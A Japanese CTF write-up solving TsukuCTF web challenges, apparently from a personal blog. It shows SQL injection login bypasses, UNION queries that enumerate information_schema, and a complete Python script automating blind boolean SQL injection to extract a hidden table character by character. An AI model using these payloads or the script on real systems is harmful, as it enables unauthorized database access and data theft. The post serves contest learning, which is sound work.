フラグを入手できました: TsukuCTF{you_are_lucky_Tsukushi}

[Web, medium] Login 2 (21 solves, 323 pts)

筑紫君が自分の会員制サイトを修正したんだって。でもどうやら自分の何が問題だったのかわかっていないみたいですよ?

https://tsukuctf.sechack365.com/problems/login2

※ この問題では/problems/login2以下のみを用います。 他の問題/problems/<name>などと混同しないよう注意してください。

URLにアクセスすると、UsernameとPasswordのログインフォームがありました。先程と同様にPassword欄に' OR 1=1 #と入れてみましたがログインできませんでした。それではと、Username欄にa'、Password欄にOR 1=1 #とするとログインに成功できました。その際、データベースに登録されているユーザー名数百人分が表示されました:

ようこそaaron07さん
トップページへ戻る
ようこそmissionaryさん
トップページへ戻る
ようこそajengさん
トップページへ戻る
ようこそmhamineさん
トップページへ戻る
ようこそselaluさん
トップページへ戻る
ようこそ27091990さん
トップページへ戻る
(以下略)

トップページに戻ってもログアウトするリンクが表示されるだけでした。

ここから試行錯誤の連続でした。Usernameにadminを含むユーザーはmadmin991人だったのでOR username LIKE '%admin%' #でログインしてみましたが何も変わりませんでした。adminらしいユーザーが居ないので、パスワードを探す手法も違う気がしました。

その後、UNIONで別テーブルの内容を結合する方法を閃きました。OR 1=1 UNION SELECT "a", "b" #でログインに成功したのでSELECTしている要素は2つだと分かりました。OR 1=1 union select table_name, "dummy" from information_schema.columns #でログインしつつテーブル名を表示させることで、user_tablesuper_secret_tableのテーブルがあることが分かりました。OR 1=1 union select CONCAT(CONCAT(table_name, "."), column_name), "dummy" from information_schema.columns #で、super_secret_table.secret列とsuper_secret_table.id列があることが分かりました。

そういうわけで、Usernameにa'、PasswordにAND 1=1 UNION SELECT secret, "dummy" FROM super_secret_table #を入力してログインしてみました:

ようこそTsukuCTF{50_muCh_GR3AT_Hacker_!ND3ED}さん
トップページへ戻る

ようやくフラグを入手できました: TsukuCTF{50_muCh_GR3AT_Hacker_!ND3ED}

[Web, medium] Journey (18 solves, 372 pts)

色々と試してはいるものの、やはり正しいゴールに辿りつけないんだ。 ゴールに辿りつけばフラグが得られるらしいけど、どうすれば良いんだろう。

https://tsukuctf.sechack365.com/problems/journey

※ この問題では/problems/journey以下のみを用います。 他の問題/problems/<name>などと混同しないよう注意してください。

とりあえずブラウザでアクセスしてみると https://tsukuctf.sechack365.com/problems/journey/goal へリダイレクトされた後に以下の表示が得られました:

Wrong goal

Did you check your status?

ステータス、というわけでHTTPステータスコードを調べてみます:

$ curl -i https://tsukuctf.sechack365.com/problems/journey/goal
HTTP/1.1 405 Method Not Allowed
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 12 Sep 2021 03:23:28 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 52
Connection: keep-alive

<h1>Wrong goal</h1><p>Did you check your status?</p>
$

405なので色々なメソッドを試してみます:

$ curl -I -X HEAD https://tsukuctf.sechack365.com/problems/journey/goal
HTTP/1.1 204 No Content
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 12 Sep 2021 03:25:21 GMT
Connection: keep-alive

$ curl -X POST https://tsukuctf.sechack365.com/problems/journey/goal
<h1>DO NOT SEND YOUR DATA. This method is not allowed!</h1>
$ curl -X PUT https://tsukuctf.sechack365.com/problems/journey/goal
<h1>DO NOT EDIT WITH YOUR DATA. This method is not allowed!</h1>
$ curl -X PATCH https://tsukuctf.sechack365.com/problems/journey/goal
<h1>DOT NOT EDIT WITH YOUR DATA as I said before.</h1>
$ curl -X DELETE https://tsukuctf.sechack365.com/problems/journey/goal
<h1>DO NOT DELETE!!! Are you serious?</h1>
$ curl -i -X OPTIONS https://tsukuctf.sechack365.com/problems/journey/goal
HTTP/1.1 204 No Content
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 12 Sep 2021 03:26:34 GMT
Connection: keep-alive
Allow: OPTIONS, GET, HEAD, POST, PUT, DELETE, CONNECT, TRACE, PATCH

$ curl -i -X TRACE https://tsukuctf.sechack365.com/problems/journey/goal
HTTP/1.1 405 Not Allowed
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 12 Sep 2021 03:26:47 GMT
Content-Type: text/html
Content-Length: 166
Connection: close

<html>
<head><title>405 Not Allowed</title></head>
<body>
<center><h1>405 Not Allowed</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>
$ curl -i -X CONNECT https://tsukuctf.sechack365.com/problems/journey/goal
HTTP/1.1 405 Method Not Allowed
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 12 Sep 2021 03:26:56 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 154
Connection: keep-alive

<head><meta http-equiv='refresh' content=' 5; url=/'></head><body><h1>Where are you from?</h1><p>I think you have come from fraudulent referer.</p></body>

そういうわけでCONNECTメソッドが怪しいです。Refererを色々指定してみて試しましたがひたすら外れでした。しばらく悩んだ後に、journeyへアクセスしたときのリダイレクト内容をまだ見ていなかったことに気づいたのでそれを確認しました:

$ curl -i https://tsukuctf.sechack365.com/problems/journey
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:24:36 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 102
Connection: keep-alive
Location: /problems/journey/railway/1

<head><meta http-equiv='refresh' content=' 5; url=/'></head><body><h1>Have a Good Journey!</h1></body>
$ curl -i https://tsukuctf.sechack365.com/problems/journey/railway/1
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:25:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 99
Connection: keep-alive
Location: /problems/journey/railway/9

<head><meta http-equiv='refresh' content=' 1; url=/'></head><body><h1>Okay, keep going!</h1></body>%
$ curl -i https://tsukuctf.sechack365.com/problems/journey/railway/9
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:25:25 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 99
Connection: keep-alive
Location: /problems/journey/railway/10

<head><meta http-equiv='refresh' content=' 1; url=/'></head><body><h1>Okay, keep going!</h1></body>%
$ curl -i https://tsukuctf.sechack365.com/problems/journey/railway/10
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:25:29 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 99
Connection: keep-alive
Location: /problems/journey/railway/8

<head><meta http-equiv='refresh' content=' 1; url=/'></head><body><h1>Okay, keep going!</h1></body>%
$ curl -i https://tsukuctf.sechack365.com/problems/journey/railway/8
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:25:33 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 99
Connection: keep-alive
Location: /problems/journey/railway/4

<head><meta http-equiv='refresh' content=' 1; url=/'></head><body><h1>Okay, keep going!</h1></body>%
$ curl -i https://tsukuctf.sechack365.com/problems/journey/railway/4
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:25:36 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 99
Connection: keep-alive
Location: /problems/journey/railway/8

<head><meta http-equiv='refresh' content=' 1; url=/'></head><body><h1>Okay, keep going!</h1></body>%
$ curl -i https://tsukuctf.sechack365.com/problems/journey/railway/8
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:25:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 99
Connection: keep-alive
Location: /problems/journey/goal

<head><meta http-equiv='refresh' content=' 1; url=/'></head><body><h1>Okay, keep going!</h1></body>%
$

railway以下をしばらく行き来させられた後にgoalへ到達するようです。そういうわけでリファラーを設定してgoalにアクセスしました:

$ curl -i -X CONNECT -e 'https://tsukuctf.sechack365.com/problems/journey/railway/8' https://tsukuctf.sechack365.com/problems/journey/goal
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 12 Sep 2021 03:33:43 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 40
Connection: keep-alive

<h1>TsukuCTF{H0w_wa5_y0ur_j0urney?}</h1>
$

フラグを入手できました: TsukuCTF{H0w_wa5_y0ur_j0urney?}

[Web, hard] Login3 (9 solves, 472 pts)

筑紫くんは、これなら情報が流出するはずがないと自信満々です。果たして...

https://tsukuctf.sechack365.com/problems/login3

※ この問題では/problems/login3以下のみを用います。 他の問題/problems/<name>などと混同しないよう注意してください。

URLにアクセスすると、今回もログインフォームのあるページが表示されました。Usernameにa'、PasswordにOR 1=1 #を入力すると、ログインには成功しました。しかしようこそ!, Welcome! Our Friend!!, You are already log in!!等と表示されるだけでした。

今回も試行錯誤の連続でした。とりあえず扱う列名を調べてみると、OR username LIKE '%' #OR password LIKE '%' #でログインに成功したので列名は同じままのようでした。OR (select COUNT(username) from user_table) > 100 #でもログインに成功するので今回も山のようにユーザーが登録されていそうです。

今回もsecretなテーブルが存在するのか探してみることにしました。OR (SELECT COUNT(secret) FROM super_secret_table) > 0 #ではログインに失敗しました。しかしOR (select COUNT(*) from information_schema.columns where table_name LIKE '%secret%') > 0 #ではログインに成功したので、secretを含むテーブル名が存在するとわかりました。

流石にそろそろブラウザの入力欄で試すのは厳しくなってきたのでスクリプトを書きました。テーブル名を検索し、列名を検索し、指定列の各行を検索するコードに最終的になりました:

#!/usr/bin/env python3.8

import sys
import requests
import time

url = "https://tsukuctf.sechack365.com/problems/login3/login.php"

def is_cleared(response):
    return "ようこそ !" in response.text

def check_table_name(session, table_name):
    # table_nameには「secret」を含むらしい、
    data = {
        "name": "a'",
        "password": f" OR (select COUNT(*) from information_schema.columns where (CHAR_LENGTH(table_name)=21 AND table_name LIKE '%secret%' AND ORD(SUBSTR(table_name,{len(table_name)},1))={ord(table_name[-1])})) > 0 #",
        }
    return is_cleared(session.post(url, data))

def determine_table_name(session):
    table_name = ""
    while True:
        for i in reversed(range(0x20, 0x7F)):
            c = chr(i)
            tmp = table_name + c
            print(tmp)
            if check_table_name(session, tmp):
                table_name = tmp
                break
        else:
            return table_name

def check_column_name(session, table_name, column_name):
    # id以外の列を探したい
    data = {
        "name": "a'",
        "password": f" OR (select COUNT(*) from information_schema.columns where (BINARY table_name='{table_name}' AND BINARY column_name <> 'id' AND ORD(SUBSTR(column_name,{len(column_name)},1))={ord(column_name[-1])})) > 0 #",
        }
    return is_cleared(session.post(url, data))

def determine_column_name(session, table_name):
    column_name = ""
    while True:
        for i in reversed(range(0x20, 0x7F)):
            c = chr(i)
            tmp = column_name + c
            print(tmp)
            if check_column_name(session, table_name, tmp):
                column_name = tmp
                break
        else:
            return column_name

def check_field_value(session, table_name, column_name, field_value):
    # 複数行あるらしいのでidで弁別したい→1行1文字らしい
    data = {
        "name": "a'",
        "password": f" OR (select COUNT(*) from {table_name} where (id={len(field_value)-1} AND ORD(SUBSTR({column_name},1,1))={ord(field_value[-1])})) > 0 #",
        }
    # print(data["password"])
    return is_cleared(session.post(url, data))
def determine_field_value(session, table_name, column_name):
    current = ""
    while True:
        for i in reversed(range(0x20, 0x7F)):
            c = chr(i)
            tmp = current + c
            print(tmp)
            if check_field_value(session, table_name, column_name, tmp):
                current = tmp
                break
        else:
            return current

with requests.Session() as session:
    # table_name = determine_table_name(session)
    table_name = "urtla_secret_tsukushi" # determine_table_name(session)
    # column_name = determine_column_name(session, table_name)
    column_name = "secret"
    field_value = determine_field_value(session, table_name, column_name)

最終的に、urtla_secret_tsukushiテーブルのsecret列に、各行1文字含まれていることが分かり、フラグを抽出できました: TsukuCTF{U_Are_Geni0us_T$UKUSH1}

感想

  • OSINT中心という珍しいCTFで、新鮮な気持ちで挑めました。
  • OSINTで画像1枚渡される場合で、言語化しやすい問題ではまだ言葉として検索できますが、そうでないものは画像検索しか出来ませんでした。OSINT力が足りない……!
  • Web問題が思ったよりも奮闘できました。何時間も悩んだ末にフラグを手に入れたときの達成感と言ったら無いです。
  • その他、IPFSやHardware問題、古のASMが出てくるRev問題、解けていませんがBlackChainを扱ったNetwork問題など、新鮮な気持ちで解ける問題ばかりで楽しめました。